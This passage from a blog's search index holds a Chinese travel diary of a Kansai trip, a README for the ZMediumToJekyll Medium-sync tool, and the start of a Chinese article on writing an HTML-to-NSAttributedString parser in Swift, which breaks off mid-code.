值高也不會踩到雷,而且有附日式早餐(飯糰 or 咖哩飯)。因訂的時間太晚,只剩四條大宮的東橫 INN 還有空房;距離京都車站比較遠,大約 3 公里:2人共 NT$3,844大阪 4 晚: APA Hotel Osaka Umeda (大阪梅田)一樣因為訂的時間太晚,選擇不多;我們選擇距離車站較近但價格較高的另一個連鎖飯店體系 APA;無附早餐,但有游泳池、公眾湯屋…等設備。從大阪梅田車站出來走路大約 15 分鐘會到:2人共 NT$21,459預入境申請 (加速通關)無需特別申請簽證、無需提供 COVID 疫苗/核酸證明;機票與訂房都完成後,就可以去 Visit Japan 填寫欲入境訊息,到時候下飛機手機連上網路後,就能直接入境,沒預先申請的話只能當場填寫紙卡。1.註冊: https://www.vjw.digital.go.jp/main/#/vjwpco001 帳號 因密碼規則可能不是平常自己習慣的密碼;因此請牢記,或另外寫下來,避免在日本入境要使用時忘記密碼登不進去2.選擇「登錄入境、回國預定」3.輸入入境航班資訊圖片僅共示意旅行名稱:自訂,給自己看的4.輸入在日聯絡處圖片僅共示意我是輸入第一天住宿的飯店資訊,用 Google 查英文版的飯店地址、飯店聯絡電話 (應該不用太精確,不要太離譜就好,至少飯店名稱要對)5.登陸預定圖片僅共示意6.選擇「返回入境、回國手續」繼續填寫資料7.選擇「外國人入境紀錄」8. 填寫基本資料入境天數包含到達到離開,一共 8 天。最後一步完成登錄:9.再次選擇「返回入境、回國手續」填寫「海關申報準備」填寫完基本資料後,一路選擇「否」到最後完成登錄:10.完成入境時步驟: 連上網路,登入網站 第一步,入境審查,找到「入境審查準備」選擇「顯示 QR 碼」 下拉到網頁底部找到「顯示 QR 碼」 將護照與 QR 碼給簽證官即可 (黃碼) 第二步,領完行李出關,點擊「海關申報 QR 碼」(藍碼)在自助出關審查機器上,掃描完護照及此 QR 碼,確認完畢即可完成出關入境。Day 1 出發登入航空公司網站或 Email 進行線上報到,並可以直接把機票加入 Apple Pay,完全電子化。A1 台北車站 預辦登機因為是中午的飛機,早上慢慢出門,9 點到機捷 A1 台北車站辦理預辦登機:預辦登機 = 在 A1 台北車站 (A13 新北產業園區也有) 就辦好報到+行李安檢+托運行李了;到機場就能直接出境,不用去櫃檯人擠人。如果是從捷運走過來,記得不要直接下手扶梯到底進機捷,預辦登機在機捷外面。限制: 只有部分航空公司可以,詳情請參考 官方網站 需當日航班起飛前3小時完成登機手續、行李託運服務時間: A1 台北車站 06:00~21:30 A3 新北產業園區站 09:00~16:00兩手空空搭機捷去機場 -> 第二航廈記得先上 機捷官網查詢機場 直達車 班次,比較好控制到機場的實際時間; 務必要搭直達車 。等飛機太早出門+預辦登機,出境後還有快 3 小時才起飛。中午沒什麼人的機場吃個林東芳牛肉麵等飛機居然有興波咖啡!因降落延後導致起飛也跟著延誤了一個多小時不知道是不是因為預辦登機的關係,候機時地勤有廣播唱名我們去確認人有到,有要登機。Bye 🇹🇼飛機著陸,換好日本 SIM 卡連上網路之後就可以登入 Vista Japan 完成入境及出關手續。前往京都出關西機場後我們就直接搭 JR關空特急HARUKA 到 京都車站 ,大約 1 個半小時,途中只停靠幾站就到了。建議去售票機買票才會一定有座位。一出車站就看到標誌性的京都塔再轉搭計程車到飯店(因為有行李箱就不搭公車了,不然有公車會到);加上飛機延誤,第一天到飯店的時候已經晚上 9 點多。東橫INN京都四條大宮飯店櫃檯有一位姊姊會說中文,跟他請教了明日的行程要怎麼去比較順~很親切方便!房間很酷,是萬全鏡像的兩個單人間然後打通共用衛浴。はなまる串カツ 製作所 大宮店時間很晚了,飯店東西放完就走出來到附近找吃的,選定了一家炸串店進去。梅子茶泡飯最便宜一串 80 日圓起,新鮮好吃又便宜!意外的驚喜跟喜愛,第二天想再造訪就遇到店休了 QQ吃完不免俗要去便利店 LAWSON 買宵夜回飯店繼續吃:醬油炒麵普普,吃起來很膩。Day 2 (清水寺、金閣寺、京都塔)一早起床先下樓打包早餐回房間吃:咖哩飯,吃完有點太 Heavy 還是習慣西式或台式的早餐。八坂神社吃飽飯搭公車前往八坂神社:一路步行前往清水寺京都的街頭乾淨到可怕,就連路邊水泥墩都不會出現髒髒黑黑的狀況。從八坂神社往上走到清水寺大約要 1–2 公里多,不過就當看街道風景吧!八坂塔中途找了家店喝了冰抹茶跟吃黑糖糰子:還有好吃的清酒冰淇淋:清水寺抵達太陽很大,人很多音羽瀑布排隊引用祈求學業、戀愛、健康長壽。參拜結束下山走回八坂神社,路上隨便吃了個蓋飯跟跟風買杯%咖啡下午搭公車前往「高雄」…. . (開玩笑的,是金閣寺)下車後大約走個 15 分鐘即可抵達金閣寺:金閣寺回程公車站擠了很多人,腳勤的朋友可以跟我們一樣走到下一個街口搭其他路線公車避開人群,前往京都塔。京都塔約莫下午 5:30 抵達京都塔觀景台:可以鳥望萬里無緣的京都,樓下有酒吧;本來想說先下去休息一下,晚上再上來看夜景,但我們吃飽要上來的時候才發現不能重新入場,要再重買票,所以就放棄了。補一張出去後從外拍的京都塔夜景。(天氣真的很好)可愛小物一樣去超商買個宵夜泡麵回飯店吃。Day 3 (嵐山、大阪)第二天就沒吃飯店的早餐了,一早睡飽起來 check-out 寄放行李,出門去嵐山。吃麥當勞早餐(比台灣便宜 $15 塊)吃完直接走到對面搭車到嵐山四條大宮就是起站,直接搭到底站嵐山,非常方便而且一定有位子。嵐山抵達:後先往嵐山方向走:可以體驗坐船看看河景(類似小碧潭?)體力好可以選擇小小健行登山:我們跑去登山看猴子跟鳥瞰景觀,從山下到山上大約要 30–45 分鐘,不難走。真的有猴子下山後往回走,路上邊吃了午餐天婦羅蕎麥麵:點錯,不應該點洞飯,會變成蕎麥麵+天婦羅洞飯。吃飽後往另一個方向前往「大本山天龍寺」:大本山天龍寺從天龍寺後門出來直接去竹林:人真的很多,拍照要找好角度🥵由下往上拍也很美。下山吃冰,準備打道回府順手買了當地產的清酒回四條大宮去飯店領行李準備前往大阪:飯店外就是阪急大宮站第一天來這的時候還覺得有點不方便,因為離京都站有距離;但後來才發現其實很讚;在金閣寺、清水寺的中心點,出來就有往嵐山的直達電車,要去大阪也是直接出來搭電車就到了(記得大概一小時)。大阪初來乍到覺得好容易迷路,出口很多,大阪、梅田其實只的都是同個地點。抵達 APA 飯店黃馨平飯店頂樓有免費的露天泳池、飯店內有超商、免費大眾湯屋。放完行李後出門覓食:テング酒場 曽根崎 お初天神通り店,五串烤雞肉 日幣385…比台灣便宜啊!吃飽後在車站附近亂逛遊樂場有對自己吐槽的白熊!!Day 4 大阪城、鶴橋、任天堂按照 Google Map 指示,搭電車再走路到大阪城,走路部分一路從車站到護城河再到主城,大概需要走 30 分鐘,有點距離。大阪城登頂鳥瞰大阪景觀:裡面每層都有戰國歷史介紹:離開大阪城後在附近走了一大圈晃晃兼找吃的。然後前往市郊鶴橋找一些小店買東西。鶴橋在鶴橋走了一大圈,這邊應該是非觀光區,遊客很少;蠻多韓國周邊商店,比較像日本人的韓國城。單純來找小點買韓國文創小物,後來發現台灣也有賣 - _ -任天堂走了一大圈大阪,腳底要不行了;所幸折返回去,回大阪梅田車站時順路去逛了一下任天堂。大阪任天堂,就在車站旁邊的大丸百貨樓上。直接失心瘋買爆薩爾達周邊:每個東西都很有質感,徽章是金屬的,做工很細緻。Day 5 環球影城沒買到快速通關、超級瑪利歐世界,也沒有提早起床去排隊;我們走一個佛系隨性路線,10 點多才入園。入園人數非常多,一入園就趕快在 App 抽看看超級瑪利歐世界門票;還好有大神 黃馨平 ,抽中瑪利歐世界 5 點入場資格。先去哈利波特主題區晃晃:奶油啤酒排隊買了奶油啤酒(無酒精、很甜),覺得如果真的要收藏應該要買最貴玻璃的。下一站侏儸紀公園:排了遊樂設施,大約要排 45 分鐘;坐第一排。類似火山歷險,最後會往下衝🥵(我很怕失重感)。但還好有玩,後來看新聞,這個設施 6 月開始要重新整理,大概會停個幾年。玩完接近中午開始亂逛加覓食裡面的造景很真實,不說還以為在🇺🇸NO LIMIT! Parade! 遊行耀西!!初期意外的歡樂有趣,直至今日腦中還有那個旋律!會有花車(馬力歐、寶可夢、芝麻街…角色)還會有舞者帶動跳,每到一個段落會停下來拉大家一起動起來!所有工作人員包含維護秩序的也會一起跳,帶入感很強!超級瑪利歐世界東晃西晃約莫接近五點前往超級瑪利歐世界。不得不讚嘆這個場景設計,完全把遊戲世界搬到現實,猶如來到世外桃源!!因為接近閉園時間,就沒有買手錶玩互動場景,只去排了耀西的設施。每個細節都做得很精緻!道別閉園前去拍了一些環球的夜景,很多本來人擠人的地方,都變很好拍了。尤其是哈利波特主題區,原本魔杖互動的場景都排的很長,閉園前去都沒人,看到一個姊姊一個人玩爽爽每個互動場景XD最後拍了一下地球,再見環球。晚上吃了居酒屋,買了日清泡麵回去當宵夜(吃來吃去還是這個好吃)Day 6 神戶、道頓堀一早起床搭電車去神戶。先去逛神戶商店街嚐嚐有名的神戶牛可樂餅從商店街一路走到神戶港走到才發現神戶塔維修中QQ詳細完工時間不確定再走回程,一路逛逛神戶街道在神戶找了家咖啡廳休息一下:草莓巧克力奶昔冰沙,好喝但很甜。道頓堀從神戶去道頓堀一代晚餐去吃有名的 大阪新世界串カツいっとく 。吃完開始觀光客行程,拍拍景點、去藥妝店買東西。格力高回來台灣 看 IG 才發現拍錯了 XD,從旁邊百貨進去有更好的取景點。回飯店繼續吃泡麵喝清酒當宵夜。味道沒印象Day 7 甲子園、難波、藥妝、逛街採購倒數最後一天回台灣了,純走馬看花行程。甲子園,打卡失敗一早臨時起意決定去甲子園看阪神虎棒球比賽,搭乘地鐵到甲子園站。出站就是甲子園棒球場。但我們吃了個閉門羹,不像台灣球賽都一定有位子,阪神的比賽賣到 7 月都全部售罄;都要提早就買好,不然只能在球場外面一日遊了。最後在附近吃個東西買個阪神虎周邊、再去客多美喝個咖啡就離開了。我一直以為他叫「咖啡所」阪神虎貼紙難波離開甲子園後去難波走採購逛街行程。順便補吃一下路邊的章魚燒跟蟹腳可能去錯店家,覺得很普。一路又走回道頓堀一代,往後走到唐吉訶德本店。唯一本店有摩天輪逛完傍晚就回大阪,在住的附近找一間居酒屋吃完最後的晚餐。再看一眼最後的大阪夜景。Day 8 回程中午的飛機,一早 7 點就 checkout 準備去關西機場了。今天開始大阪也變天了,開始陰天下雨,正好符合告別的心情。最後拍了一張大阪大樓景觀當告別。 本來打算搭電車到關西機場,但要拖著行李上上下下的;前 一天回來的時候特別探了一下搭客運的路線(包含時間跟車站位子) 一早就先去客運看人多不多,所幸排隊的人不多,我們就買了到關西機場的客運車票,舒舒服服的搭客運直達關西機場了。沿途還能一路欣賞最後的大阪景觀剛到機場被櫃檯排隊人群嚇到,落落長。最後發現排錯櫃檯,我們已經線上點一點完成報到,可以直接去排行李托運櫃檯!直接省了快一小時。 其實很想跟排隊的人說,你現在網頁打開點一點領好電子機票,就能去排托運然後出境了。出境後,關西機場整修中,沒什麼吃的跟店家,最後又買了新世界的豬排咖哩吐司。候機,回台灣囉。下午時分安全抵達台灣,回家休息!🇹🇼戰利品其實沒買什麼東西,就是看到什麼買什麼;藥妝最後比較下來發現京都車站出來的藥妝店最便宜(大概比大阪便宜 $100-$300 日圓)其中唐吉訶德最貴。Yodobashi 的主題曲真的洗腦,在京都逛完直接被洗腦。日本免稅規定是要滿 $5,000 日圓憑護照才能免稅,會用塑膠袋封起來,回國才能拆封(以上是回家拍的,在境內拆封如果出境查到可能要補稅,但感覺也沒在查;但如果要合規定記得注意液體只能托運,如果封起來的東西裡面有液體就只能整包托運)。吃的部分除了有名的零食之外,我比較多找百年老店的地產,不保證好吃但保證百年;大家推薦的零食保證好吃,但保證要排隊+不是百年XD最後心得還是找好吃的吧!後記第一次去日本直接愛上,回來開始查下一次的日本行程。 其實我 6/7–11 就又跑去東京了 😝 遊記下集待續總體來說,交通方便、安靜、氣侯怡人(五月去體感大約是台灣秋天天氣,晚上會涼)、人與人有邊界感、有禮貌;很喜歡!消費照目前日幣幣值跟物價,其實比台灣還便宜。。。住行: 電車、公車比台灣覆蓋率更高更方便;去這麼多天只有第一天去飯店搭過計程車。 承上雖然交通方便,但日本幅員遼闊,大部分時候腳要夠勤,每天都走快 20,000 步 站左站右不一定,在京都站左在大阪又變站右 公車會等人坐好才開、下車會等你起身慢慢下車;所以不需要在還沒到站就開始騷動,日本人也不喜歡這樣 飯店衛浴,都非常乾淨舒服;再小都有浴缸 馬桶幾乎都是免治馬桶,如果是百貨公司的還會有背景水聲(防尷尬)5/23–5/28 步數巔峰文化: 市容整潔且一體性很強 (e.g. 門口都長一樣,不會出現有幾戶有鞋櫃有幾戶沒有,有就都有沒有就都沒有) 沒有人邊走邊吃,都是在店門口吃完再走 垃圾只能帶回飯店,路邊很少垃圾桶,因此在門口吃完把垃圾還給店家最方便 店家只收自己店家的垃圾 英文基本上不通,只能用很簡單的跟比手畫腳;或用翻譯溝通;但藥妝店、大型購物中心基本上都有中文店員 買票、收據、找錢、給錢要記得直接放/從盤子拿,不要接觸到店員 避免肢體接觸及靠太近 公共運輸上普遍很安靜,尤其公車 拍照攝影盡量不要對著人拍或拍到人臉,上傳社群應該對人臉打馬賽克 拍廟宇要斜拍,不能正拍 重視細節 SOP,另外感覺要融入日本並不容易 日本人普遍穿著很正式或至少會打扮,女生也都很精緻 另外也不要說別人怎樣,我們在環球影城就遇到台灣(他貼🇹🇼在包包上)類似直銷公司的員工旅遊很大聲的在裡面喊口號拍影片「喊什麼 super 讚,業績直直讚」什麼的;因為人本來就多,還擋在路中間,一群人在那喊口號,沒拍好還一直重複拍重複喊,很丟臉。回歸到工作、「產品」上我自己的感覺是如果要攻日本市場,如果單純靠廣告跟市場行銷應該會很困難,頂多打到一些想嚐鮮的人;日本有很強的文化一體性,要想辦法融入他們的生活跟習慣才有機會得到他們的心。另外就是容錯性很低,例如 Bug、意外出現其他語言;對我們來說可能覺得一兩次還好或至少不要常發生就好;對他們來說我覺得是一次可能就黑掉了,因為這個東西不夠嚴謹、不夠重視他們。— — —👑最後附上最 Carry 的旅伴 黃馨平關西行成功!更多遊記 [遊記] 2023 廣島岡山 6 日自由行 [遊記] 2023 九州 10 日自由行獨旅 [遊記] 9/11 名古屋一日快閃 [遊記] 2023 東京 5 日自由行有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "ZMediumToJekyll", "url": "/posts/e7c547a5be22/", "categories": "ZRealm, Dev.", "tags": "medium, post, medium-backup, ios-app-development, markdown", "date": "2023-03-18 02:47:07 +0800", "snippet": "ZMediumToJekyllMove your Medium posts to a Jekyll blog and keep them in sync in the future.This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future.It will...", "content": "ZMediumToJekyllMove your Medium posts to a Jekyll blog and keep them in sync in the future.This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future.It will automatically download your posts from Medium, convert them to Markdown, and upload them to your repository, check out my blog for online demo zhgchg.li .One-time setting, Lifetime enjoying❤️Powered by ZMediumToMarkdown .If you only want to create a backup or auto-sync of your Medium posts, you can use the GitHub Action directly by following the instructions in this Wiki .Setup You can follow along with each step of this process by watching the following video tutorial Click the green button Use this template located above and select Create a new repository . Repo Owner could be an organization or username Enter the Repository Name, which usually uses your GitHub Username/Organization Name and ends with .github.io , for example, my organization name is zhgchgli than it’ll be zhgchgli.github.io . Select the public repository option, and then click on Create repository from template . Grant access to GitHub Actions by going to the Settings tab in your GitHub repository, selecting Actions -> General , and finding the Workflow permissions section , then, select Read and write permissions , and click on Save to save the changes.*If you choose a different Repository Name, the GitHub page will be https://username.github.io/Repository Name instead of https://username.github.io/ , and you will need to fill in the baseurl field in _config.yml with your Repository Name.*If you are using an organization and cannot enable Read and Write permissions in the repository settings, please refer to the organization settings page and enable it there.First-time run Please refer to the configuration information in the section below and make sure to specify your Medium username in the _zmediumtomarkdown.yml file. ⌛️ Please wait for the Automatic Build and pages-build-deployment gitHub actions to finish before making any further changes. Then, you can manually run the ZMediumToMarkdown GitHub action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch. ⌛️ Please wait for the action to download and convert all Medium posts from the specified username, and commit the posts to your repository. ⌛️ Please wait for the Automatic Build and pages-build-deployment actions will also need to finish before making any further changes, and that they will start automatically once the ZMediumToMarkdown action has completed. Go to the Settings section of your GitHub repository and select Pages , In the Branch field, select gh-pages , and leave /(root) selected as the default. Click Save , you can also find the URL for your GitHub page at the top of the page. ⌛️ Please wait the Pages build and deployment action to finish. 🎉 After all actions are completed, you can visit your xxx.github.io page to verify that the results are correct. Congratulations! 🎉*To avoid expected Git conflicts or unexpected errors, please follow the steps carefully and in order, and be patient while waiting for each action to complete.*Note that the first time running may take longer.*If you open the URL and notice that something is wrong, such as the web style being missing, please ensure that your configuration in the _config.yml file is correct.*Please refer to the ‘Things to Know’ and ‘Troubleshooting’ sections below for more information.ConfigurationSite Setting_zmediumtomarkdown.ymlmedium_username: # enter your username on Medium.comPlease specify your Medium username for automatic download and syncing of your posts._config.yml & jekyll settingFor more information, please refer to jekyll-theme-chirpy or jekyllrb .Github ActionZMediumToMarkdownYou can configure the time interval for syncing in ./.github/workflows/ZMediumToMarkdown.yml .The default time interval for syncing is once per day.You can also manually run the ZMediumToMarkdown action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch.DisclaimerAll content downloaded using ZMediumToMarkdown, including but not limited to articles, images, and videos, are subject to copyright laws and belong to their respective owners. ZMediumToMarkdown does not claim ownership of any content downloaded using this tool.Downloading and using copyrighted content without the owner’s permission may be illegal and may result in legal action. ZMediumToMarkdown does not condone or support copyright infringement and will not be held responsible for any misuse of this tool.Users of ZMediumToMarkdown are solely responsible for ensuring that they have the necessary permissions and rights to download and use any content obtained using this tool. ZMediumToMarkdown is not responsible for any legal issues that may arise from the misuse of this tool.By using ZMediumToMarkdown, users acknowledge and agree to comply with all applicable copyright laws and regulations.TroubleshootingMy GitHub page keeps presenting a 404 error or doesn’t update with the latest posts. Please make sure you have followed the setup steps above in order. Wait for all GitHub actions to finish, including the Pages build and deployment and Automatic Build actions, you can check the progress on the Actions tab. Make sure you have the correct settings selected in Settings -&gt; Pages .Things to know The ZMediumToMarkdown GitHub Action for syncing Medium posts will automatically run every day by default, and you can also manually trigger it on the GitHub Actions page or adjust the sync frequency as needed. Every commit and post change will trigger the Automatic Build & Pages build and deployment action. Please wait for this action to finish before checking the final result. You can create your own Markdown posts in the _posts directory by naming the file as YYYY-MM-DD-POSTNAME and recommend using lowercase file names. You can include images and other resources in the /assets directory. Also, if you would like to remove the ZMediumToMarkdown watermark located at the bottom of the post, you may do so. I don’t mind. You can edit the Ruby file at tools/optimize_markdown.rb and uncomment lines 10–12 . This will automatically remove the ZMediumToMarkdown watermark at the end of all posts during Jekyll build time. Since ZMediumToMarkdown is not an official tool and Medium does not provide a public API for it, I cannot guarantee that the parser target will not change in the future. However, I have tried to test it for as many cases as possible. If you encounter any rendering errors or Jekyll build errors, please feel free to create an issue and I will fix them as soon as possible.有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "手工打造 HTML 解析器的那些事", "url": "/posts/2724f02f6e7/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, html-parsing, nsattributedstring, html, rendering", "date": "2023-03-12 01:09:22 +0800", "snippet": "手工打造 HTML 解析器的那些事ZMarkupParser HTML to NSAttributedString 渲染引擎的開發實錄HTML String 的 Tokenization 轉換、Normalization 處理、Abstract Syntax Tree 的產生、Visitor Pattern / Builder Pattern 的應用, 還有一些雜談…接續去年發表了篇「[ T...", "content": "手工打造 HTML 解析器的那些事ZMarkupParser HTML to NSAttributedString 渲染引擎的開發實錄HTML String 的 Tokenization 轉換、Normalization 處理、Abstract Syntax Tree 的產生、Visitor Pattern / Builder Pattern 的應用, 還有一些雜談…接續去年發表了篇「[ TL;DR] 自行實現 iOS NSAttributedString HTML Render 」的文章,粗淺的介紹可以使用 XMLParser 去剖析 HTML 再將其轉換成 NSAttributedString.Key,文中的程式架構及思路都很零亂,因是過水紀錄一下之前遇到的問題及當初並沒有花太多時間研究此議題。Convert HTML String to NSAttributedString再次重新探討此議題,我們需要能將 API 給的 HTML 字串轉換成 NSAttributedString ,並套用對應樣式放到 UITextView/UILabel 中顯示。e.g. &lt;b&gt;Test&lt;a&gt;Link&lt;/a&gt;&lt;/b&gt; 要能顯示成 Test Link 註1不建議使用 HTML 做為 App 與資料間的溝通渲染媒介,因 HTML 規格過於彈性,App 無法支援所有 HTML 樣式,也沒有官方的 HTML 轉換渲染引擎。 註2iOS 14 開始可使用官方原生的 AttributedString 解析 Markdown或引入 apple/swift-markdown Swift Package 解析 Markdown。 註3因敝司專案龐大且已應用 HTML 做為媒介多年,所以暫時無法全面更換為 Markdown 或其他 Markup。 註4 這邊的 HTML 並不是要用來顯示整個 HTML 網頁,只是把 HTML 做為樣式 Markdown 渲染字串樣式。 (要渲染整頁、複雜包含圖片表格的 HTML,依然要使用 WevView loadHTML) 強烈建議使用 Markdown 做為字串渲染媒介語言,如果您的專案跟我有一樣困擾不得不使用 HTML 並苦無優雅的 to NSAttributedString 轉換工具, 再請使用。 還記得上一篇文章的朋友也可以直接跳到 ZhgChgLi / ZMarkupParser 章節。NSAttributedString.DocumentType.html網路上能找到的 HTML to NSAttributedString 的做法都是要我們直接使用 NSAttributedString 自帶的 options 渲染 HTML,範例如下:let htmlString = \"<b>Test<a>Link</a></b>\"let data = htmlString.data(using: String.Encoding.utf8)!let attributedOptions:[NSAttributedString.DocumentReadingOptionKey: Any] = [ .documentType :NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue]let attributedString = try! NSAttributedString(data: data, options: attributedOptions, documentAttributes: nil)此做法的問題: 效能差:此方法是透過 WebView Core 去渲染出樣式,再切回 Main Thread 給 UI 顯示;渲染 300 多個字元就需 0.03 Sec。 會吃字:例如行銷文案可能會使用 &lt;Congratulation!&gt; 會被當成 HTML Tag 被去除掉。 無法客製化:例如無法指定 HTML 的粗體在 NSAttributedString 中對應的粗體程度。 iOS ≥ 12 開始會零星閃退的問題且官方無解 在 iOS 15 出現 大量閃退 ,測試發現低電量情況下會 100% 閃退 (iOS ≥ 15.2 已修正) 字串太長會閃退,實測輸入超過 54,600+ 長度字串就會 100% 閃退 (EXC_BAD_ACCESS)對與我們最痛的還是閃退問題,iOS 15 發佈到 15.2 修正之前,App 始終被此問題霸榜,從數據來看,2022/03/11~2022/06/08 就造成了 2.4K+ 次閃退、影響 1.4K+ 位使用者。此閃退問題自 iOS 12 開始就有,iOS 15 只是踩到更大的坑,但我猜 iOS 15.2 的修正也只是補洞,官方無法根除。其次問題是效能,因為做為字串樣式 Markup Language,會大量應用在 App 上的 UILabel/UITextView,如同前述一個 Label 就需要 0.03 Sec,列表*UILabel/UITextView 乘下來就會對使用者操作手感上產生卡頓。XMLParser第二個方案是 上篇文章 介紹的,使用 XMLParser 解析成對應的 NSAttributedString Key 並套用樣式。可參考 SwiftRichString 的實現及 上一篇文章內容 。 上一篇也只是探究出可以使用 XMLParser 解析 HTML 並做對應轉換,然後完成實驗性的實作,但並沒有把它設計成一個有架構好擴充的「工具」。此做法的問題: 容錯率 0: &lt;br&gt; / &lt;Congratulation!&gt; / &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/b&gt;Italic&lt;/i&gt; 以上三種 HTML 有可能出現的情境,在 XMLParser 解析都會出錯直接 Throw Error 顯示空白。 使用 XMLParser,HTML 字串必須完全符合 XML 規則,無法像瀏覽器或 NSAttributedString.DocumentType.html 容錯正常顯示。站在巨人的肩膀上以上兩個方案都不能完美優雅的解決 HTML 問題,於是開始搜尋有無現成的解決方案。 johnxnguyen / Down 只支援輸入 Markdown 轉換成 Any (XML/NSAttributedString…),但不支援輸入 HTML 轉換。 malcommac / SwiftRichString 底層是使用 XMLParser,實測前述案例也會有一樣容錯率 0 的問題。 scinfu / SwiftSoup 只支援 HTML Parser(Selector) 不支援轉換成 NSAttributedString 。 找了一大圈結果都類似上方的專案 Orz,沒有巨人的肩膀可以站。ZhgChgLi/ZMarkupParser沒有巨人的肩膀,只好自己當巨人了,於是自行開發了 HTML String to NSAttributedString 工具。使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。特色 支援 HTML Render (to NSAttributedString) / Stripper (剝離 HTML Tag) / Selector 功能 比 NSAttributedString.DocumentType.html 更高的效能 自動分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag) 支援從 style=”color:red…” 動態設定樣式 支援客製化樣式指定,例如粗體要多 粗 支援彈性可擴充標籤或自訂標籤及屬性 詳細介紹、安裝使用可參考此篇文章:「 ZMarkupParser HTML String 轉換 NSAttributedString 工具 」可直接 git clone 專案 後,打開 ZMarkupParser.xcworkspace Project 選擇 ZMarkupParser-Demo Target 直接 Build & Run 起來玩玩。ZMarkupParser技術細節再來才是本篇文章想分享的,關於開發這個工具上的技術細節。運作流程總覽上圖為大概的運作流程,後面文章會一步一步介紹及附上程式碼。 ⚠️️️️️️ 本文會盡量簡化 Demo Code、減少抽象跟效能考量,盡量把重心放在解釋運作原理上;如需了解最終結果請參考專案 Source Code 。程式碼化 — Tokenization a.k.a parser, 解析談到 HTML 渲染最重要的就是解析的環節,以往是透過 XMLParser 將 HTML 做為 XML 解析;但是無法克服 HTML 日常用法並不是 100% 的 XML 會造成解析器錯誤,且無法動態修正。排除掉使用 XMLParser 這條路之後,在 Swift 上留給我們的就只剩使用 Regex 正則來做匹配解析了。最一開始沒想太多,想說可以直接用正則挖出「成對」的 HTML Tag,再遞迴往裡面一層一層找 HTML Tag,直到結束;但是這樣沒有辦法解決 HTML Tag 可以嵌套,或想支援錯位容錯的問題,因此我們把策略改成挖成出「單個」 HTML Tag,並記錄是 Start Tag, Close Tag or Self-Closing Tag,及其他字串組合成解析結果陣列。Tokenization 結構如下:enum HTMLParsedResult { case start(StartItem) // <a> case close(CloseItem) // </a> case selfClosing(SelfClosingItem) // <br/> case rawString(NSAttributedString)}extension HTMLParsedResult { class SelfClosingItem { let tagName: String let tagAttributedString: NSAttributedString let attributes: [String: String]? init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) { self.tagName = tagName self.tagAttributedString = tagAttributedString self.attributes = attributes } } class StartItem { let tagName: String let tagAttributedString: NSAttributedString let attributes: [String: String]? // Start Tag 有可能是異常 HTML Tag 也有可能是正常文字 e.g. <Congratulation!>, 後續 Normalization 後如果發現是孤立 Start Tag 則標記為 True。 var isIsolated: Bool = false init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) { self.tagName = tagName self.tagAttributedString = tagAttributedString self.attributes = attributes } // 後續 Normalization 自動補位修正使用 func convertToCloseParsedItem() -> CloseItem { return CloseItem(tagName: self.tagName) } // 後續 Normalization 自動補位修正使用 func convertToSelfClosingParsedItem() -> SelfClosingItem { return SelfClosingItem(tagName: self.tagName, tagAttributedString: self.tagAttributedString, attributes: self.attributes) } } class CloseItem { let tagName: String init(tagName: String) { self.tagName = tagName } }}使用的正則如下:<(?:(?<closeTag>\\/)?(?<tagName>[A-Za-z0-9]+)(?<tagAttributes>(?:\\s*(\\w+)\\s*=\\s*([\"|']).*?\\5)*)\\s*(?<selfClosingTag>\\/)?>)-> Online Regex101 Playground closeTag: 匹配 < / a> tagName: 匹配 < a > or , </ a > tagAttributes: 匹配 <a href=”https://zhgchg.li” style=”color:red” > selfClosingTag: 匹配 <br / > *此正則還可以再優化,之後再來做 文章後半段有提供關於正則的附加資料,有興趣的朋友可以參考。組合起來就是:var tokenizationResult: [HTMLParsedResult] = []let expression = try? NSRegularExpression(pattern: pattern, options: expressionOptions)let attributedString = NSAttributedString(string: \"<a>Li<b>nk</a>Bold</b>\")let totalLength = attributedString.string.utf16.count // utf-16 support emojivar lastMatch: NSTextCheckingResult?// Start Tags Stack, 先進後出(FILO First In Last Out)// 檢測 HTML 字串是否需要後續 Normalization 修正錯位或補 Self-Closing Tagvar stackStartItems: [HTMLParsedResult.StartItem] = []var needForamatter: Bool = falseexpression.enumerateMatches(in: attributedString.string, range: NSMakeRange(0, totoalLength)) { match, _, _ in if let match = match { // 檢查 Tag 之間或是到第一個 Tag 之間的字串 // e.g. Test<a>Link</a>zzz<b>bold</b>Test2 - > Test,zzz let lastMatchEnd = lastMatch?.range.upperBound ?? 0 let currentMatchStart = match.range.lowerBound if currentMatchStart > lastMatchEnd { let rawStringBetweenTag = attributedString.attributedSubstring(from: NSMakeRange(lastMatchEnd, (currentMatchStart - lastMatchEnd))) tokenizationResult.append(.rawString(rawStringBetweenTag)) } // <a href=\"https://zhgchg.li\">, </a> let matchAttributedString = attributedString.attributedSubstring(from: match.range) // a, a let matchTag = attributedString.attributedSubstring(from: match.range(withName: \"tagName\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() // false, true let matchIsEndTag = matchResult.attributedString(from: match.range(withName: \"closeTag\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == \"/\" // href=\"https://zhgchg.li\", nil // 用正則再拆出 HTML Attribute, to [String: String], 請參考 Source Code let matchTagAttributes = parseAttributes(matchResult.attributedString(from: match.range(withName: \"tagAttributes\"))) // false, false let matchIsSelfClosingTag = matchResult.attributedString(from: match.range(withName: \"selfClosingTag\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == \"/\" if let matchAttributedString = matchAttributedString, let matchTag = matchTag { if matchIsSelfClosingTag { // e.g. <br/> tokenizationResult.append(.selfClosing(.init(tagName: 